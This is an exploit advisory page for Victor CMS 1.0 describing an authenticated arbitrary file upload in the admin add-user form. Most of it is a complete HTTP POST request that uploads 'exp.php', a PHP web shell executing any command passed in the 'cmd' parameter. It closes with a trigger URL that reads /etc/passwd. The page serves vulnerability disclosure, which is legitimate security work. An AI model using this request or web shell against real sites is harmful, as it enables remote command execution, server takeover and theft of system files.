Victor cms 1.0 authenticated arbitrary file upload Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2020-05-19 | Type : webapps | Platform : php

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[+] Code ...

# Exploit Title: Victor CMS 1.0 - Authenticated Arbitrary File Upload
# Google Dork: N/A
# Date: 2020-05-19
# Exploit Author: Kishan Lal Choudhary
# Vendor Homepage: https://github.com/VictorAlagwu/CMSsite
# Software Link: https://github.com/VictorAlagwu/CMSsite/archive/master.zip
# Version: 1.0
# Tested on: Windows 10

Description: The GET parameter '/admin/users.php?source=add_user' is vulnerable Arbitary File Uploads


POST /admin/users.php?source=add_user HTTP/1.1
Host: localhost
Content-Length: 1049
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryrMPNq33u6rCpEFhB
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://localhost/admin/users.php?source=add_user
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en;q=0.9,en-US;q=0.8,fr;q=0.7
Cookie: PHPSESSID=cjpan858fghefnjse7qv1j3v72
Connection: close

------WebKitFormBoundaryrMPNq33u6rCpEFhB
Content-Disposition: form-data; name="user_name"

test
------WebKitFormBoundaryrMPNq33u6rCpEFhB
Content-Disposition: form-data; name="user_firstname"

test
------WebKitFormBoundaryrMPNq33u6rCpEFhB
Content-Disposition: form-data; name="user_lastname"

test
------WebKitFormBoundaryrMPNq33u6rCpEFhB
Content-Disposition: form-data; name="user_image"; filename="exp.php"
Content-Type: application/octet-stream

<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>
------WebKitFormBoundaryrMPNq33u6rCpEFhB
Content-Disposition: form-data; name="user_role"

Admin
------WebKitFormBoundaryrMPNq33u6rCpEFhB
Content-Disposition: form-data; name="user_email"

test@tets.com
------WebKitFormBoundaryrMPNq33u6rCpEFhB
Content-Disposition: form-data; name="user_password"

test@1234
------WebKitFormBoundaryrMPNq33u6rCpEFhB
Content-Disposition: form-data; name="create_user"

Add User
------WebKitFormBoundaryrMPNq33u6rCpEFhB--



The Shell can be triggered by visting

http://localhost/img/exp.php?cmd=cat%20/etc/passwd